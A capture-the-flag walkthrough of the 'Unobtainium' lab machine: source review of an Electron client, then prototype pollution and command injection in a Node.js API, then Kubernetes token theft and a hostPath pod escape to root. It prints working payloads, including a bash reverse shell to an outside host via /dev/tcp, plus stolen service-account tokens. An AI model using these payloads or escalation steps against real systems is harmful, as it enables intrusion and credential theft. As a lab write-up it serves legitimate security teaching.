Unobtainium

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.136.226
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-28 08:04 EST
Nmap scan report for 10.129.136.226
Host is up (0.0073s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
8443/tcp  open  https-alt
10250/tcp open  unknown
10251/tcp open  unknown
31337/tcp open  Elite

There are some interesting ports that are open on this machine. We can do a detailed scan for better clarity (output has been truncated).

$ sudo nmap -p 22,80,8443,10250,10251,31337 -sC -sV -O -T4 10.129.136.226
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-28 08:05 EST
Nmap scan report for 10.129.136.226
Host is up (0.0071s latency).

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp    open  http          Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
8443/tcp  open  ssl/https-alt
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, IP Address:10.129.136.226, IP Address:10.43.0.1, IP Address:127.0.0.1
10250/tcp open  ssl/http      Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.129.136.226
| Not valid before: 2022-08-29T09:26:11
|_Not valid after:  2024-01-28T13:02:51
10251/tcp open  unknown
31337/tcp open  http          Node.js Express framework
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8)

Port 80 & 8443

Visting the web page shows us this:

When any of the links are clicked, we can download a zip file for an application. Not too sure what we can do with this at the moment.

We can see from the nmap scan above that there is some kind of Kubernetes application being run on port 8443. When trying to view it, all we get is a 401 Unauthorized error from the API.

Deb File Analysis

I downloaded the deb version of the application and unzipped it to find a few items:

$ ls
unobtainium_1.0.0_amd64.deb  unobtainium_1.0.0_amd64.deb.md5sum

With the ar x command, we can decompile the deb file. We would get a few more files:

$ ls
control.tar.gz  debian-binary                unobtainium_1.0.0_amd64.deb.md5sum
data.tar.xz     unobtainium_1.0.0_amd64.deb  unobtainium_debian.zip

We can first use gunzip and tar to extract the control.tar.gz files. Within it, we can find a few other files.

Interesting. We can take a look at the content within these folders.

control
$ cat control
Package: unobtainium
Version: 1.0.0
License: ISC
Vendor: felamos <felamos@unobtainium.htb>
Architecture: amd64
Maintainer: felamos <felamos@unobtainium.htb>
Installed-Size: 185617
Depends: libgtk-3-0, libnotify4, libnss3, libxss1, libxtst6, xdg-utils, libatspi2.0-0, libuuid1, libappindicator3-1, libsecret-1-0
Section: default
Priority: extra
Homepage: http://unobtainium.htb
Description: 
  client

Seems that there is a user named felamos and this is some metadata of the program. The other files are bash scripts. The postinst file contained some hints about Electron 5+.

$ cat postinst 
#!/bin/bash

# Link to the binary
ln -sf '/opt/unobtainium/unobtainium' '/usr/bin/unobtainium'

# SUID chrome-sandbox for Electron 5+
chmod 4755 '/opt/unobtainium/chrome-sandbox' || true

update-mime-database /usr/share/mime || true
update-desktop-database /usr/share/applications || true

The other bash scripts was just a file to remove the binary.

$ cat postrm  
#!/bin/bash

# Delete the link to the binary
rm -f '/usr/bin/unobtainium'

Using xz -d and tar xvf on the data.tar.xz file revealed lots of files pertaining to the application.

Amongst all the files mentioned, it appears that the source code was within the ./opt/unobtainium/resources/app.asar directory of the folder. We can decompile this file using npx asar.

Then, we can begin our source code analysis

Source Code Analysis

It appears that this is the code for the application running on port 31337 of the machine. We can analyse /src/js/app.js to find this hint. We can also find a set of credentials.

$(document).ready(function(){
    $("#but_submit").click(function(){
        var message = $("#message").val().trim();
        $.ajax({
        url: 'http://unobtainium.htb:31337/',
        type: 'put',
        dataType:'json',
        contentType:'application/json',
        processData: false,
        data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"text": message}}),
        success: function(data) {
            //$("#output").html(JSON.stringify(data));
            $("#output").html("Message has been sent!");
        }
    });
});
});

There was also another todo.js file that had a similar set of code within it.

$.ajax({
    url: 'http://unobtainium.htb:31337/todo',
    type: 'post',
    dataType:'json',
    contentType:'application/json',
    processData: false,
    data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}),
    success: function(data) {
        $("#output").html(JSON.stringify(data));
    }
});

We can test the connection to this server by sending a POST request as follows:

POST /todo HTTP/1.1
Host: 10.129.136.226:31337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 80

{
    "auth": 
    {"name": "felamos", 
     "password": "Winter2021"
    }, 
    "filename" : "todo.txt"
}
# OR use curl
$ curl -H "Content-Type: application/json" -X POST -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}' http://10.129.136.226:31337/todo
{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}

We would be able to see that there's an obvious LFI present in the filename parameter. However, attempting to access anything beyond the local folder results in a hang. Perhaps there was another hidden file preventing access to other directories.

Anyways, I took a look at the index.js file by varying the filename parameter in the JSON data. This revealed some hidden code for me to read.

Finding RCE

Let's break this file down slowly. It starts off with the imports, and straightaway we can notice the child_process being used with exec, meaning there's some RCE to do here.

var root = require(\"google-cloudstorage-commands\");
const express = require('express');
const { exec } = require(\"child_process\");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

Then, there's further mention of the user and his credentials, as well as an admin. There was an auth function as well, and it uses ===. Seems like guessing the admin password is not the way to go here.

const users = [
  {name: 'felamos', password: 'Winter2021'},
  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},      
];

function findUser(auth) {
  return users.find((u) =>
    u.name === auth.name &&
    u.password === auth.password);
}

We can find the code used for the /todo endpoint:

app.post('/todo', (req, res) => {
        const user = findUser(req.body.auth || {});
        if (!user) {
                res.status(403).send({ok: false, error: 'Access denied'});
                return;
        }
        filename = req.body.filename;
        testFolder = \"/usr/src/app\";
        fs.readdirSync(testFolder).forEach(file => {
                if (file.indexOf(filename) > -1) {
                        var buffer = fs.readFileSync(filename).toString();
                        res.send({ok: true, content: buffer});
                }
        });
    });

We were able to use this earlier, meaning that we passed the !user check. Now, we can take a look at the code for an /upload function.

app.post('/upload', (req, res) => {
  const user = findUser(req.body.auth || {});
  if (!user || !user.canUpload) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }
  filename = req.body.filename;
  root.upload(\"./\",filename, true);
  res.send({ok: true, Uploaded_File: filename});
});

The function used here is root.upload, which was taken from the google-cloudstorage-commands imported earlier. When researching for exploits regarding this package, there are some RCE exploits that pop up.

In short, we need to execute this on the server: root.upload("./","& touch JHU", true);. This is trivial by altering the filename.

However, there's a small problem as we aren't allowed to upload with the credentials of felamos.

$ curl -H "Content-Type: application/json" -X POST -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "index.js"}' http://10.129.136.226:31337/upload
{"ok":false,"error":"Access denied"} 

This means we need to take a look at how the application authenticates its users / stores data about the user.canUpload check.

Prototype Pollution

Looking at the rest of the file, we can see that there's a PUT method allowed on the machine.

app.put('/', (req, res) => {
  const user = findUser(req.body.auth || {});
  if (!user) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }
  const message = {
    icon: '__',
  };
  _.merge(message, req.body.message, {
    id: lastId++,
    timestamp: Date.now(),
    userName: user.name,
  });
  messages.push(message);
  res.send({ok: true});
});

The main thing to take note of is the usage of merge, which is used unsafely because it does not verify the contents of message. This means that the application is vulnerable to prototype pollution, which would allow us to change certain attributes of our object. In this case, the object is the user felamos.

So to craft our exploit, we need to find out what information the JSON object must have. Based on app.js found earlier, we know that we need a "message":{"text':message}}" JSON. Afterwards, we can include the __proto__ portion.

The final request I sent looked like this:

Afterwards, I was able to upload files to the server:

$ curl -H "Content-Type: application/json" -X POST -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "index.js"}' http://10.129.136.226:31337/upload
{"ok":true,"Uploaded_File":"index.js"}

Then, we can simply get a reverse shell by changing the filename parameter.

$ curl -H "Content-Type: application/json" -X POST -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "& bash -c \"bash -i >& /dev/tcp/10.10.14.17/443 0>&1\""}' http://10.129.136.226:31337/upload
{"ok":true,"Uploaded_File":"& bash -c \"bash -i >& /dev/tcp/10.10.14.17/443 0>&1\""}

Privilege Escalation

Very obviously, we were in some kind of container. Remember the kubernetes API that we found a lot earlier? Perhaps that was the container escape vector.

Kubernetes Enumeration

I found this page rather useful.

It appears that we can get a token from the /run/secrets/kubernetes.io/serviceaccount folder to interact with the API. Within that file, we can find a ca.crt and token file.

Using this in conjunction with kubectl reveals that we can indeed talk to the API.

$ kubectl --server https://10.129.136.226:8443 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzA2NDQ5ODg5LCJpYXQiOjE2NzQ5MTM4ODksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWJhcHAtZGVwbG95bWVudC05NTQ2YmM3Y2ItYjdrMmciLCJ1aWQiOiIyMjA4Mzc5Yi0yY2U2LTQ0YjktYjlhOC1hOWU3N2Q1NTIwYTEifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiJhOGQ5YjRkNC1iZDhjLTQyNDEtOTcxMC0zOGZkNzg5ZjYwYmUifSwid2FybmFmdGVyIjoxNjc0OTE3NDk2fSwibmJmIjoxNjc0OTEzODg5LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0.nIY2J9lwK7XMWA8GBMvCMt7VqZXlcJf4R-QxUFKjRh6eiWO1yfF64ETLhiGI62AuMQ0tea-om4uHh2QQ9txgxb_XW6Ii4bI_wL_6RVVZbEfIVDVffwSTdquR3kt20V6omeOwk5W69oXbTOJeQXy7ULLCsmmzDvhr1k3NfJHuoadwpIB31nD3dLC3GTJZuEcO1U3ceuCctgnFUqQbhDRjlKhr3sAtviyZcRj00vH68o6xN2Ufgks57Oc54_4cIkCQ-7Q_l0yQOl2uI0IYA-pEaCVn2rnVOCcdjCWDPEZ7P8CUtvHElDcVpPk4pQikBygtHPQNgXIXMH7J-1gxnwNv_A get pod
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:default" cannot list resource "pods" in API group "" in the namespace "default"

Now, although we did not get any information, it confirms that this set of credentials are required to communicate with the API (which would have returned 401 Unauthorized anyways). We can just auth can-i --list to view our permissions

Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
namespaces                                      []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

It appears that we can enumerate the namespaces hosted on the server.

NAME              STATUS   AGE
default           Active   152d
kube-system       Active   152d
kube-public       Active   152d
kube-node-lease   Active   152d
dev               Active   152d

The dev one was the most interesting. We can attempt to enumerate what was running within that namespace. This can be done by appending -n dev get pods to our command.

NAME                                  READY   STATUS    RESTARTS       AGE
devnode-deployment-776dbcf7d6-sr6vj   1/1     Running   3 (152d ago)   152d
devnode-deployment-776dbcf7d6-g4659   1/1     Running   3 (152d ago)   152d
devnode-deployment-776dbcf7d6-7gjgf   1/1     Running   3 (152d ago)   152d

It seems that there are 3 pods running. We can enumerate the IP addresses of what's running by appending -n dev get pods -o custom-columns=NAME:metadata.name,IP:status.podIP.

NAME                                  IP
devnode-deployment-776dbcf7d6-sr6vj   10.42.0.39
devnode-deployment-776dbcf7d6-g4659   10.42.0.38
devnode-deployment-776dbcf7d6-7gjgf   10.42.0.40

When checking the IP address of the pod I had a shell on, it was running on 10.42.0.41. Perhaps the other pods were accessible from that machine? I wanted to enumerate these machines more.

Container Escape

I downloaded an nmap binary to the machine we had access to and scanned the first 10000 ports of these 3 containers. The scan for 10.42.0.38 revealed that port 3000 was open on this machine.

# nmap -p- --min-rate 10000 10.42.0.38
Nmap scan report for 10.42.0.38
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000014s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
3000/tcp open  unknown
MAC Address: 6A:95:CB:8C:AB:5F (Unknown)

Port 3000 is the default port where Express applications run on. Earlier, in our source code review, the application was found to be running on Express. I repeated the Prototype Pollution and RCE exploit I used earlier, and was able to receive a shell to the devnode.

Namespace Enumeration

Now, within this new container, there was another token and ca.crt to be downloaded. Perhaps I would have new permissions with these.

When checking the auth can-i for all the namespaces, the kube-system one revealed something new.

Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
secrets                                         []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

We had access to some secrets. Here's the output from get secrets.

NAME                                                 TYPE                                  DATA   AGE
k3s-serving                                          kubernetes.io/tls                     2      152d
unobtainium.node-password.k3s                        Opaque                                1      152d
horizontal-pod-autoscaler-token-2fg27                kubernetes.io/service-account-token   3      152d
coredns-token-jx62b                                  kubernetes.io/service-account-token   3      152d
local-path-provisioner-service-account-token-2tk2q   kubernetes.io/service-account-token   3      152d
statefulset-controller-token-b25sg                   kubernetes.io/service-account-token   3      152d
certificate-controller-token-98jdq                   kubernetes.io/service-account-token   3      152d
root-ca-cert-publisher-token-t564t                   kubernetes.io/service-account-token   3      152d
ephemeral-volume-controller-token-brb5h              kubernetes.io/service-account-token   3      152d
ttl-after-finished-controller-token-wf8k9            kubernetes.io/service-account-token   3      152d
replication-controller-token-9m8mh                   kubernetes.io/service-account-token   3      152d
service-account-controller-token-6vsl2               kubernetes.io/service-account-token   3      152d
node-controller-token-dfztj                          kubernetes.io/service-account-token   3      152d
metrics-server-token-d4k84                           kubernetes.io/service-account-token   3      152d
pvc-protection-controller-token-btkqg                kubernetes.io/service-account-token   3      152d
pv-protection-controller-token-k8gq8                 kubernetes.io/service-account-token   3      152d
endpoint-controller-token-zd5b9                      kubernetes.io/service-account-token   3      152d
disruption-controller-token-cnqj8                    kubernetes.io/service-account-token   3      152d
cronjob-controller-token-csxvj                       kubernetes.io/service-account-token   3      152d
endpointslice-controller-token-wrnvm                 kubernetes.io/service-account-token   3      152d
pod-garbage-collector-token-56dzk                    kubernetes.io/service-account-token   3      152d
namespace-controller-token-g8jmq                     kubernetes.io/service-account-token   3      152d
daemon-set-controller-token-b68xx                    kubernetes.io/service-account-token   3      152d
replicaset-controller-token-7fkxv                    kubernetes.io/service-account-token   3      152d
job-controller-token-xctqc                           kubernetes.io/service-account-token   3      152d
ttl-controller-token-rsshv                           kubernetes.io/service-account-token   3      152d
deployment-controller-token-npk6k                    kubernetes.io/service-account-token   3      152d
attachdetach-controller-token-xvj9h                  kubernetes.io/service-account-token   3      152d
endpointslicemirroring-controller-token-b5r69        kubernetes.io/service-account-token   3      152d
resourcequota-controller-token-8pp4p                 kubernetes.io/service-account-token   3      152d
generic-garbage-collector-token-5nkzj                kubernetes.io/service-account-token   3      152d
persistent-volume-binder-token-865v2                 kubernetes.io/service-account-token   3      152d
expand-controller-token-f2csp                        kubernetes.io/service-account-token   3      152d
clusterrole-aggregation-controller-token-wp8k6       kubernetes.io/service-account-token   3      152d
default-token-h5tf2                                  kubernetes.io/service-account-token   3      152d
c-admin-token-b47f7                                  kubernetes.io/service-account-token   3      152d

From this, we can retrieve the administrator token to become the admin on the Kubernetes API. We can use describe secret -n kube-system c-admin-token-b47f7 to retrieve the token. Using this token, we can do all commands.

$ kubectl --server https://10.129.136.226:8443 --certificate-authority=ca.crt --token=$(cat admin_token) auth can-i --list -n kube-system    
Resources                                       Non-Resource URLs                     Resource Names   Verbs
*.*                                             []                                    []

Pod Escape

As the administrator, one attack path we can do is to create a new pod that has root access to the file system and connect to it. This article is very useful in telling us how.

Essentially, we need to create a YAML file that has specifications on how our new pod would be like, and it's there that we can include the mount path. First, we need to find the images available on the machine. This c an be done with some basic commands.

At the very bottom, we can find and use localhost:5000/dev-alpine. Then we can create our YAML file and then a new pod with custom settings.

Here's my YAML file:

apiVersion: v1
kind: Pod
metadata:
  name: node
  namespace: kube-system
spec:
  containers:  
  - name: pepod
    image: localhost:5000/node_server
    volumeMounts:
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

Then we can connect to it directly using this command:

$ kubectl exec node --stdin --tty -n kube-system --token $(cat admin_token) --server https://10.129.136.226:8443 --certificate-authority ca.crt -- /bin/sh
# whoami
root

Then we can capture the root flag. Afterwards, we can easily upgrade a shell into this machine. We can create an authorized_keys file and echo our public key in it.

Rooted! Really good machine for learning source code analysis and Kubernetes enumerations.